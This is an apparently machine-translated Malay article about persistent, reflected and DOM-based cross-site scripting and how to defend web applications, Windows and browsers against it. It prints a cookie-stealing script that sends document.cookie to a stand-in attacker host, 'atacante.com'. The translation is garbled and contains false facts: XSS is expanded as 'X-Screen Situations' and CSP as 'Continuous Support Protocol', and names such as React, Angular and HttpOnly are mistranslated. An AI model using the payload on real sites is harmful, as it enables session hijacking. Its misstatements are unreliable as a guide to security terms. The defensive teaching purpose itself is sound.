Kerentanan XSS yang berterusan: apakah itu dan cara melindungi Windows dan pelayar anda

Kerentanan XSS telah mengganggu web selama bertahun-tahun, namun ia terus muncul dalam aplikasi baharu seolah-olah tiada apa yang tidak kena. Dalam persekitaran di mana hampir semuanya berlaku melalui pelayar dan di mana kita menggunakan Windows untuk kerja, membeli-belah, perbankan dan pengurusan perniagaan, pemahaman Apakah sebenarnya skrip silang tapak berterusan, bagaimana ia berfungsi dan bagaimana anda boleh melindungi kedua-dua Windows dan pelayar anda? Ia tidak lagi menjadi sesuatu yang "untuk pakar keselamatan" dan menjadi keperluan asas.

Apabila kerentanan Merentasi Laman (XSS) berjaya dieksploitasi, penyerang boleh melakukan lebih daripada sekadar memaparkan tetingkap timbul dengan mesej: mereka boleh mencuri sesi, menyamar sebagai orang lain, mengeluarkan data daripada fail atau menggunakan pelayar anda sebagai batu loncatan untuk mengakses sistem dalaman yang lain. Tambahan pula, jika kerentanan itu berterusan, kod berniat jahat akan kekal tertanam dalam aplikasi dan dilaksanakan berulang kali dengan setiap lawatan. Itulah sebabnya menggabungkan [langkah-langkah keselamatan yang diperlukan] adalah penting. amalan baik untuk pembangunan selamat, konfigurasi kuki dan pelayar yang betul, perlindungan Windows dan alat pengesanan kerentanan jika anda ingin tidur dengan nyenyak.

Apakah XSS dan mengapa ia masih menjadi masalah yang serius?

Skrip Silang Tapak (XSS) ialah kelemahan keselamatan web yang berlaku apabila aplikasi membenarkan skrip dijalankan. kod JavaScript yang tidak dipercayai dalam pelayar mangsaKod ini biasanya datang daripada input pengguna (borang, parameter URL, komen, enjin carian dalaman, dll.) yang belum disahkan atau "dibersihkan" dengan betul dan kemudian dipaparkan pada halaman.

Pelayar tidak dapat membezakan skrip mana yang merupakan bahagian laman web yang sah dan skrip mana yang telah disuntik oleh penyerang: Semua yang berasal dari domain itu dilaksanakan dengan keistimewaan yang sama.Inilah yang menjadikan laman web yang sah sebagai perangkap yang sempurna untuk mencuri data atau memanipulasi tindakan pengguna tanpa mereka sedari.

Penyerang mengeksploitasi XSS untuk melakukan pelbagai tindakan berniat jahat: kecurian kuki sesi, rampasan akaun, pembalakan ketukan kekunci, pengalihan ke laman web berniat jahat, pancingan data yang canggih atau pengubahsuaian senyap kandungan yang dipaparkanSemua ini boleh dilakukan tanpa menjejaskan sistem pengendalian secara langsung; hanya menyerang pelayar sahaja sudah memadai.

Perkara yang membimbangkan ialah, walaupun merupakan kecacatan yang diketahui sejak penubuhan laman web itu, XSS terus menduduki kedudukan penting dalam 10 Teratas OWASP dan dalam laporan kerentananKajian seperti yang dilakukan oleh Acunetix menunjukkan bahawa sekitar 40% kerentanan yang terdapat dalam aplikasi web berkaitan dengan XSS (X-Screen Situations). Sebab-sebab kegigihannya adalah pelbagai: peningkatan kerumitan aplikasi web, kod legasi, kekurangan pengesahan yang mantap, ralat dalam pelaksanaan langkah-langkah seperti CSP (Continuous Support Protocol), pengetahuan terhad tentang pembangunan selamat dan evolusi berterusan teknik serangan.

Jenis serangan XSS: berasaskan storan, pantulan dan DOM

Tidak semua kerentanan XSS bertindak sama. Adalah penting untuk membezakan antara tiga jenis utama kerana Kesan dan cara untuk melindungi diri sendiri berubah dalam setiap kes., walaupun mereka berkongsi punca asas yang sama: menjalankan JavaScript dalam pelayar mangsa.

XSS yang disimpan atau berterusan: yang paling berbahaya

XSS yang disimpan berlaku apabila kod berniat jahat disimpan secara kekal pada pelayan: biasanya dalam pangkalan data, tetapi juga dalam fail, sistem pembalakan atau lokasi storan lainSetiap kali pengguna memuatkan halaman yang memaparkan maklumat tersebut, skrip akan dilayan dan dilaksanakan dalam pelayar.

Bayangkan sebuah forum atau sistem komen blog. Jika aplikasi menyimpan komen tersebut sebagaimana adanya dan kemudian memaparkannya tanpa melarikan diri atau membersihkannya, penyerang boleh menyuntik sesuatu seperti <script>...código-malicioso...</script> dalam teks komenSerpihan itu disimpan dalam pangkalan data, dan setiap lawatan ke thread itu akan menyebabkan skrip berjalan secara automatik dalam semua pelayar yang memaparkannya.

Jenis XSS ini amat kritikal kerana menskalakan impak muatan tunggal kepada semua pengguna yang melawati kandungan yang terjejasTerdapat kes di mana satu tweet atau komen yang dijangkiti akan secara automatik men-tweet atau berkongsi dirinya sendiri (seperti yang berlaku dengan TweetDeck), yang secara eksponen menggandakan jangkauan serangan. Dalam persekitaran korporat, jika pengguna yang terjejas ialah pentadbir, penyerang boleh mendapat akses kepada papan pemuka pengurusan dalaman atau merebak ke sistem lain.

XSS tercermin atau tidak berterusan

XSS yang dipantulkan berlaku apabila aplikasi mengambil data daripada permintaan HTTP (contohnya, parameter URL, medan borang atau pengepala), ia memasukkannya terus ke dalam respons dan skrip berjalan dalam pelayar mangsa dalam interaksi yang sama, tanpa disimpan di pelayan.

Contoh biasa: halaman carian yang memaparkan teks yang dicari dengan mesej seperti “Keputusan untuk X”. Jika aplikasi tidak dapat mengecualikan nilai tersebut dengan betul dan seseorang menghantar pautan seperti:

https://sitio.com/buscar?q=<script>alert('XSS')</script>

Setelah memasukkan URL tersebut, pelayar akan melaksanakan skrip berniat jahat yang disuntik ke dalam parameterSerangan jenis ini sering disertai dengan kempen pancingan data atau kejuruteraan sosial: penyerang perlu meyakinkan mangsa untuk mengklik pada pautan yang dimanipulasi.

Dari segi impak serta-merta, XSS yang dicerminkan biasanya memberi kesan kepada pengguna tertentu pada setiap pelaksanaan, tetapi jika kempen pengedaran pautan adalah besar-besaran (e-mel, media sosial, pesanan segera), kerosakan mungkin serupa dengan barang yang disimpan.

XSS berasaskan DOM

XSS berasaskan DOM berlaku apabila kerentanan berada sepenuhnya dalam kod JavaScript bahagian klien. Di sini, pelayan mungkin menyediakan HTML "bersih", tetapi JavaScript yang berjalan dalam pelayar itu sendiri membaca data daripada sumber yang tidak dipercayai (seperti location.search, location.hash o document.referrerdan menyuntiknya ke dalam DOM tanpa pengesahan.

Contohnya, skrip yang mendapatkan parameter daripada URL dan memasukkannya dengan innerHTML untuk memperibadikan mesej alu-aluan. Jika seseorang menghantar URL yang mengandungi HTML atau JavaScript yang berniat jahat, pelayar akan mentafsirkan kandungan tersebut sebagai kod dan melaksanakannya. Semua ini tanpa muatan sampai ke pelayanyang menjadikan pengesanannya dalam log atau penapis tradisional lebih kompleks.

Dalam praktiknya, DOM XSS berkongsi keperluan untuk pautan atau input yang boleh dimanipulasi dan komponen kejuruteraan sosial dengan XSS yang dicerminkan, tetapi Ia secara langsung mengeksploitasi logik bahagian hadapan dan akses DOM yang tidak selamat.Tambahan pula, banyak penapis pelayan dan WAF membenarkannya kerana ia hanya melihat trafik yang kelihatan "normal".

Apakah yang boleh dicapai oleh penyerang dengan XSS?

Keterukan Eksploitasi Merentasi Tapak (XSS) sering dipandang remeh, tetapi di tangan seseorang yang berniat jahat, ia boleh menjadi sangat dahsyat. Kesannya boleh membawa padah kepada pengguna dan syarikat, daripada aspek teknikal hinggalah reputasi dan ekonomi.

Kecurian kuki, sesi dan kelayakan

Salah satu kegunaan klasik XSS adalah untuk mencuri kuki sesi dan token pengesahan yang lain. Jika kuki tidak membawa bendera HttpSahajaskrip boleh membacanya dengan document.cookie dan hantarkannya ke pelayan yang dikawal oleh penyerang:

<script>document.location='http://atacante.com/cookie?'+document.cookie</script>

Sebaik sahaja mangsa memuatkan halaman yang dijangkiti, pelayar mereka membuat permintaan ke URL berniat jahat. termasuk kuki sesi yang dicuri sebagai parameterDengan kuki itu, penyerang boleh menyamar sebagai pengguna dalam aplikasi, melihat maklumat peribadi, menjalankan operasi bagi pihak mereka, dan walaupun, jika pengguna itu pentadbir, mengakses panel kritikal.

Tambahan pula, skrip yang disuntik boleh merekodkan semua yang ditaip pengguna dalam borang (input papan kekunci, medan log masuk, butiran kad, dll.) dan menghantarnya kepada penyerang. Ini penangkapan kelayakan dan data sensitif Ia sering diintegrasikan ke dalam skim penipuan yang lebih luas.

Pengalihan, pancingan data dan manipulasi kandungan

Satu lagi senario biasa ialah pengalihan senyap ke laman web berniat jahat atau pancingan data. Skrip boleh menggunakan window.location untuk menghantar pengguna ke laman web yang meniru laman web asal, di mana mereka diminta untuk log masuk semula atau memasukkan data sulit. Pengguna mempercayainya kerana Ia datang daripada domain asal yang sah yang baru anda lawati.

Ia juga mungkin untuk mengubah suai DOM untuk memaparkan borang log masuk palsu, sepanduk atau tetingkap timbul yang bertindih, atau pun mengubah kandungan yang dilihat oleh mangsa untuk memperdaya mereka (contohnya, menukar nombor akaun bank pada intranet, memalsukan mesej sistem atau memanipulasi tindakan yang boleh dilihat).

Pengedaran perisian hasad dan peningkatan serangan

XSS boleh memaksa pelayar untuk memuat turun atau melaksanakan sumber berniat jahat, seperti skrip luaran yang dihoskan pada domain di bawah kawalan penyerangDigabungkan dengan kelemahan lain dalam pelayar, pemalam atau sistem itu sendiri, adalah mungkin untuk melaksanakan kod asli dan menjejaskan komputer Windows mangsa.

Dalam persekitaran korporat, serangan XSS terhadap aplikasi dalaman boleh berfungsi sebagai titik masuk untuk pergerakan lateral: Daripada pelayar yang dikompromi, permintaan yang disahkan dihantar ke perkhidmatan lain, token tambahan dikumpulkan atau salah konfigurasi dalam rangkaian dalaman dieksploitasi.Dalam erti kata lain, "amaran ujian" yang mudah boleh menjadi pintu masuk kepada insiden serius.

Tambahan pula, dari perspektif perniagaan, laman web yang terjejas oleh XSS mungkin mengalami kehilangan kepercayaan pengguna, penurunan penukaran dan jualan, malah penalti SEO jika Google mengesan tingkah laku yang tidak normal atau laman web tersebut tersenarai hitam dalam pelayar dan perisian antivirus.

Kesan pada Windows dan pelayar: tempat permainan sebenar dimainkan

Walaupun XSS merupakan kelemahan aplikasi web, senario di mana kerosakan berlaku adalah pelayar yang berjalan pada sistem Windows anda. Ini bermakna bahawa gabungan pelayar + tetapan Windows + penyelesaian keselamatan Ia membezakan antara ketakutan dan bencana.

Pelayar moden (Chrome, Edge, Firefox, dll.) menggabungkan mekanisme pengasingan proses (sandboxing), penapis XSS, penyekat timbul, senarai tapak berbahaya dan perlindungan muat turunWindows, bagi pihaknya, menawarkan ciri-ciri seperti SmartScreen, kawalan aplikasi, antivirus bersepadu dan dasar sekatan dalam persekitaran korporat.

Walau bagaimanapun, jika pengguna melayari dengan profil pentadbir, sambungan yang meragukan atau pelayar yang ketinggalan zamanAtau, jika langkah keselamatan dilumpuhkan untuk "membuat semuanya berfungsi," ruang penyerang untuk bergerak meningkat secara mendadak. Kerentanan XSS yang dieksploitasi dengan baik boleh digunakan untuk memuat turun perisian hasad, mengeksploitasi kerentanan pelayar atau pemalam, atau menggunakan peranti tersebut sebagai titik pangsi untuk menyerang aset lain.

Oleh itu, walaupun punca teknikal kegagalan terletak pada aplikasi web, ia adalah penting mengeraskan Windows dan pelayar: mengurangkan permukaan serangan dengan meminimumkan kebenaran, menggunakan kemas kini, mengawal sambungan, menggunakan senarai putih pelaksanaan dan menggabungkannya dengan amalan penyemakan imbas yang baik.

Cara mengesan kelemahan XSS dalam aplikasi anda

Jika anda menguruskan laman web atau aplikasi perniagaan, bersabar sahaja tidak mencukupi. Anda memerlukan pendekatan proaktif untuk mencari dan menilai titik masuk yang terdedah sebelum penyerang berbuat demikianDi sinilah pelbagai teknik dan alat memainkan peranan.

Pengimbasan dan pengkaburan automatik

Alatan seperti OWASP ZAP, Burp Suite, Acunetix, Netsparker dan pengimbas kerentanan lain Ia membolehkan anda melancarkan serangan terkawal terhadap aplikasi, borang pengujian, parameter URL, pengepala dan laluan anda untuk mengesan tingkah laku XSS yang mencurigakan.

Pengimbas ini biasanya menggabungkan pengujian muatan tertentu dengan teknik kaburUjian ini pada asasnya melibatkan penghantaran data rawak, tidak dijangka atau cacat ke medan input untuk melihat bagaimana aplikasi bertindak balas. Keputusan yang mengembalikan input tanpa terlepas atau yang melaksanakan skrip ujian mendedahkan kecacatan tersebut.

Pengujian manual dengan skrip ujian

Selain pengimbasan automatik, adalah disyorkan untuk melakukan ujian manual: suntikan skrip mudah seperti <script>alert('XSS')</script> dalam borang, parameter URL, medan carian, komen atau sebarang input yang akhirnya dipaparkan pada halamanJelas sekali, ini harus dilakukan dalam persekitaran pembangunan atau pra-pengeluaran, tidak pernah pada sistem pengeluaran.

Sambungan penyemak imbas seperti XSS Me, Pembangun Web atau NoScript Ia membantu mengaudit tingkah laku klien, menyerlahkan ralat JavaScript, melihat apa yang sebenarnya dilaksanakan dalam DOM dan menguji vektor yang berbeza. Anda juga dinasihatkan untuk menyemak kod dengan teliti, terutamanya di tempat ia digunakan. innerHTML, document.write, eval atau penggabungan HTML dengan data pengguna.

Semakan kod dan penggunaan SAST

Mengintegrasikan alatan Pengujian Keselamatan Aplikasi Statik (SAST) ke dalam kitaran pembangunan adalah salah satu cara paling berkesan untuk menghentikan skrip silang tapak (XSS) sejak awal. Analisis statik ini menyemak kod sumber untuk mencari Corak tidak selamat: data yang tidak disahkan tiba pada paparan, escape yang salah, manipulasi DOM langsung dengan input yang tidak dipercayai, Dll

Dengan menggabungkan SAST dengan semakan kod manual berorientasikan keselamatan, anda boleh mengenal pasti kawasan di mana laluan keluar hilang, di mana penapis rangka kerja telah dinyahdayakan atau di mana pintasan berbahaya telah digunakan, seperti Html.Raw dalam Pisau Cukur, v-html dalam Vue, [innerHTML] dalam Angular atau dangerouslySetInnerHTML dalam React.

Cara melindungi aplikasi anda daripada XSS

Kunci untuk mengurangkan XSS bukan terletak pada satu helah, tetapi pada Gunakan pelbagai lapisan pertahanan: pengesahan input, pengekodan output yang betul, tetapan kuki yang ketat, CSP, rangka kerja yang selamat dan terkini. Jom ikut bahagian.

Sahkan dan bersihkan semua input pengguna

Peraturan Emas: Jangan sekali-kali mempercayai sebarang data yang datang daripada pengguna atau sumber luaran.Ini termasuk borang, parameter URL, pengepala HTTP, data yang diimport daripada aplikasi lain, medan tersembunyi, dan sebagainya. Pengesahan harus sentiasa dilakukan pada pelayan, walaupun ia juga boleh digunakan pada bahagian klien atas sebab kebolehgunaan.

Bergantung pada konteksnya, anda boleh:

• Hadkan set aksara menggunakan ungkapan biasa (contohnya, hanya huruf, nombor dan ruang).
• Hadkan panjang maksimum medan untuk mengelakkan muatan yang besar.
• Tolak tag HTML secara langsung jika ia tidak diperlukan.
• Jika anda mesti membenarkan HTML tertentu (contohnya, dalam komen kaya), gunakan pustaka sanitasi seperti DOMPurify (JS), HtmlSanitizer (.NET), AntiXSS, dan sebagainya, yang mengalih keluar skrip dan atribut berbahaya.

Dalam .NET, sebagai contoh, rangka kerja tersebut merangkumi perlindungan lalai yang menyekat input berbahaya, tetapi jika anda menggunakan atribut seperti [ValidateInput(false)] Jika anda membenarkan HTML yang tidak dibersihkan, anda membuka pintu kepada XSS.Adalah penting untuk mengetahui bila perlindungan ini dinyahaktifkan dan mengimbanginya dengan penapis tertentu.

Keluarkan output dengan betul (pengekodan output)

Bahagian kedua masalah ini ialah bagaimana data dipaparkan. Walaupun anda mengesahkannya, jika anda memasukkan nilai tersebut terus ke dalam HTML tanpa mengelaknya, anda masih boleh terdedah. Pendekatan yang betul ialah mengekod aksara khas mengikut konteks di mana ia akan digunakan:

• Dalam HTML, escape <, >, &, tanda petikan tunggal dan berganda (dalam PHP, contohnya, dengan htmlspecialchars() o htmlentities()).
• Dalam atribut HTML, gunakan juga tanda petikan escape dan aksara kawalan.
• Dalam JavaScript sebaris, gunakan pengekod tertentu (JavaScriptEncoder dalam .NET, sebagai contoh).
• Dalam URL, gunakan fungsi pengekodan parameter (UrlEncoder, encodeURIComponent, dan lain-lain.).

Banyak rangka kerja moden melakukan ini hampir "selesai": Razor dalam .NET mengekod pembolehubah secara automatik melainkan anda menggunakan Html.RawReact mengecualikan kandungan secara lalai, dan Angular dan Vue mengendalikan interpolasi dengan selamat selagi tiada API yang menyuntik HTML mentah digunakan. Memanfaatkan perlindungan ini adalah penting.

Gunakan Dasar Keselamatan Kandungan (CSP)

Dasar Keselamatan Kandungan yang dikonfigurasikan dengan betul merupakan lapisan tambahan yang sangat berkuasa terhadap XSS. Dengan CSP, anda boleh menentukan, menggunakan pengepala HTTP, tempat skrip, gaya, iframe, imej, dsb. dibenarkan dimuatkan. dan sama ada skrip sebaris dibenarkan atau tidak.

Satu contoh mudah ialah:

Content-Security-Policy: default-src 'self'; script-src 'self' https://scripts-confiables.com

Ini menunjukkan bahawa hanya skrip yang disampaikan daripada domain anda sendiri atau domain yang dipercayai boleh dilaksanakan. Walaupun terdapat kerentanan XSS, Skrip yang disuntik yang cuba memuatkan kod daripada pihak ketiga akan disekat.CSP tidak menggantikan pengesahan dan melarikan diri, tetapi ia dapat mengurangkan kesan ralat yang mungkin terlepas pandang.

Konfigurasikan kuki dengan betul

Kuki sesi merupakan sasaran kegemaran serangan XSS. Untuk meminimumkan kerosakan, adalah penting untuk mengkonfigurasinya dengan bendera yang sesuai:

• HttpSahaja: menghalang JavaScript daripada mengakses kuki melalui document.cookieIa adalah cara paling langsung untuk menggagalkan kecurian sesi oleh XSS klasik.
• Selamat: memaksa kuki dihantar hanya melalui sambungan HTTPS, mencegah kebocoran pada saluran yang tidak disulitkan.
• Tapak Sama: mengehadkan penghantaran kuki dalam permintaan merentas tapak, mengurangkan risiko CSRF dan beberapa senario XSS gabungan.

Dalam PHP, sebagai contoh, anda boleh menetapkannya dengan session_set_cookie_paramsdan dalam persekitaran lain dengan API yang setara. Walaupun ia tidak menghalang skrip daripada berjalan, ia mengurangkan potensi impak ke atas pengesahan dengan ketara.

Gunakan rangka kerja dan pustaka yang selamat untuk DOM

Di pihak klien, amalan terbaik adalah untuk mengelakkan manipulasi DOM manual sebanyak mungkin. Rangka kerja seperti Bertindak balas, Sudut atau Vue Mereka mengemas kini DOM dengan mengeluarkan data secara automatik dan menggalakkan corak yang mengurangkan keperluan untuk menggunakan innerHTML, document.write o evalyang jelas-jelas berbahaya.

Jika anda perlu memanipulasi HTML dinamik, bergantung pada sanitasi perpustakaan seperti DOMPurifyyang menganalisis kandungan dan mengalih keluar tag, atribut dan skema yang berpotensi berniat jahat. Dan yang paling penting, Periksa dengan teliti sebarang penggunaan API yang membenarkan suntikan HTML mentah.kerana mereka selalunya merupakan penghubung lemah yang membuka pintu kepada XSS berasaskan DOM.

Pastikan semuanya dikemas kini: CMS, plugin dan pustaka

Banyak pencerobohan sebenar bukan disebabkan oleh kod yang anda tulis, tetapi oleh pihak ketiga: Plugin WordPress, modul Joomla, pustaka JS, templat, komponen bahagian hadapan atau bahagian belakang yang ketinggalan zaman yang membawa kelemahan yang diketahui, termasuk XSS.

Rutin tersebut hendaklah jelas: Semak dan gunakan tampalan keselamatan secara berkala, alih keluar pemalam dan tema yang tidak digunakan, elakkan versi yang retak atau tidak rasmi dan pantau amaran keselamatan daripada CMS atau rangka kerja anda.WAF (Tembok Api Aplikasi Web) seperti yang ditawarkan oleh sesetengah penyedia hosting (contohnya, dengan Imunify360, Cloudflare WAF, dll.) menambah lapisan tambahan, menapis percubaan suntikan yang diketahui pada peringkat HTTP.

Cara mengeraskan Windows dan pelayar anda daripada serangan XSS

Walaupun punca masalahnya terletak pada pelayan, anda boleh mengurangkan risiko serangan XSS yang semakin meningkat dengan memperkukuhkan persekitaran pengguna anda. Ini melibatkan kedua-duanya amalan penggunaan yang baik seperti tetapan keselamatan dalam Windows dan pelayar.

Amalan navigasi yang baik

Perkara pertama adalah akal sehat, tetapi ia terus diabaikan setiap hari: Jangan klik pada pautan yang mencurigakan atau buka URL pelik yang tiba melalui e-mel, media sosial atau pesananterutamanya jika ia datang daripada pengirim yang tidak dikenali atau mengandungi mesej yang membimbangkan atau mesej yang kelihatan terlalu bagus untuk menjadi kenyataan.

Dalam kes khusus XSS yang dipantulkan, serangan biasanya melibatkan pautan dengan parameter yang panjang dan luar biasa. Walaupun pemendek URL digunakan untuk menyembunyikannya, berhati-hatilah dengan komen dalam forum, mesej peribadi atau e-mel yang menyertakan pautan tanpa konteks yang jelas mengurangkan kebarangkalian muatan ditembak.

Konfigurasikan pelayar dengan selamat

Chrome, Edge, Firefox dan derivatifnya mempunyai satu set pilihan yang patut diulas:

• Pastikan pelayar anda sentiasa dikemas kini, membenarkan kemas kini automatik.
• Semak semula sambungan yang dipasang dan nyahpasang sebarang aplikasi yang anda tidak gunakan atau tidak percayai.
• Aktifkan fungsi penyemakan selamat (Pelayaran Selamat Google, Microsoft Defender SmartScreen) yang menyekat halaman yang dilaporkan sebagai berniat jahat.
• Hadkan atau lumpuhkan pelaksanaan kandungan aktif yang tidak perlu (contohnya, pemalam legasi) dan uruskan kebenaran tapak (kamera, mikrofon, pemberitahuan) dengan bijak.

Dalam persekitaran korporat, adalah perkara biasa untuk memusatkan konfigurasi ini melalui dasar kumpulan (GPO) atau dasar pelayarmenghalang pengguna daripada menurunkan tahap keselamatan untuk kemudahan.

Peningkatan Windows: Antivirus, Firewall dan Kawalan Aplikasi

Windows 10 dan 11 sudah merangkumi pakej keselamatan asas yang baik: Antivirus Microsoft Defender, tembok api terbina dalam, perlindungan berasaskan reputasi, kawalan aplikasi, SmartScreen, dsb.Walaupun begitu, banyak syarikat dan pengguna memilih penyelesaian tambahan (Avast, sebagai contoh) yang menawarkan lapisan perlindungan tambahan terhadap skrip berniat jahat, trafik yang mencurigakan atau muat turun yang terjejas.

Untuk mengurangkan risiko daripada serangan Skrip Silang Laman (XSS) yang cuba memasang perisian hasad atau melaksanakan kod di luar pelayar, adalah penting untuk:

• Menyemak imbas dengan akaun pengguna standardbukan dengan akaun dengan keistimewaan pentadbir.
• Aktifkan Kawalan Akaun Pengguna (UAC) dan jangan matikan ia "supaya ia tidak mengganggu sesiapa pun."
• Konfigurasikan dasar menjalankan aplikasi (AppLocker atau Windows Defender Application Control) dalam persekitaran perusahaan untuk mengehadkan binari yang boleh dijalankan.
• Kukuhkan tembok api dan, jika boleh, pantau trafik keluar untuk sambungan ke domain yang mencurigakan yang mungkin menunjukkan penyusupan data (cth., menghantar kuki yang dicuri).

Pengurusan kerentanan dan ujian penembusan: kekal di hadapan penyerang

Pengalaman menunjukkan bahawa satu-satunya cara yang realistik untuk mengelakkan XSS adalah dengan menganggapnya sebagai sebahagian daripada pengurusan kerentanan berterusanbukan sebagai perkara sekali sahaja. Ini bermaksud menggabungkan:

• Kosongkan inventori aplikasi dan perkhidmatan web yang anda kendalikan (dalaman dan luaran).
• Imbasan berkala dengan alat analisis kerentanan automatik.
• Pengujian Pentetapan Biasadalaman atau luaran, mensimulasikan serangan sebenar, termasuk XSS yang disimpan, dipantulkan dan berasaskan DOM.
• Latihan dalam pembangunan yang selamat supaya pasukan memahami sepenuhnya bagaimana masalah itu berasal dan cara mengelakkannya dari peringkat reka bentuk.

Syarikat yang pakar dalam penggodaman beretika dan ujian penembusan boleh membantu anda mengenal pasti bukan sahaja XSS, tetapi juga Kelemahan cagaran lain (suntikan SQL, kegagalan pengesahan, pendedahan data sensitif, ralat konfigurasi) yang, digabungkan, membolehkan penggabungan serangan kompleks seperti kes Jira dalam Apache Foundation, di mana XSS yang dipantulkan akhirnya membuka pintu kepada akses yang sangat kritikal.

Akhirnya, memahami apa itu kerentanan XSS yang berterusan, bagaimana pelbagai jenis serangan berfungsi, dan langkah-langkah yang perlu digunakan dalam pembangunan web dan Windows serta pelayar anda meletakkan anda pada kedudukan yang lebih kukuh. Menggabungkan Pengesahan ketat, penyingkiran yang betul, CSP, konfigurasi kuki yang mantap, rangka kerja moden, kemas kini berterusan, amalan penyemakan imbas yang baik, pengerasan sistem dan audit berkalaAnda secara drastik mengurangkan permukaan serangan dan menghalang skrip mudah yang terdiri daripada beberapa baris daripada menjadi punca insiden keselamatan yang serius.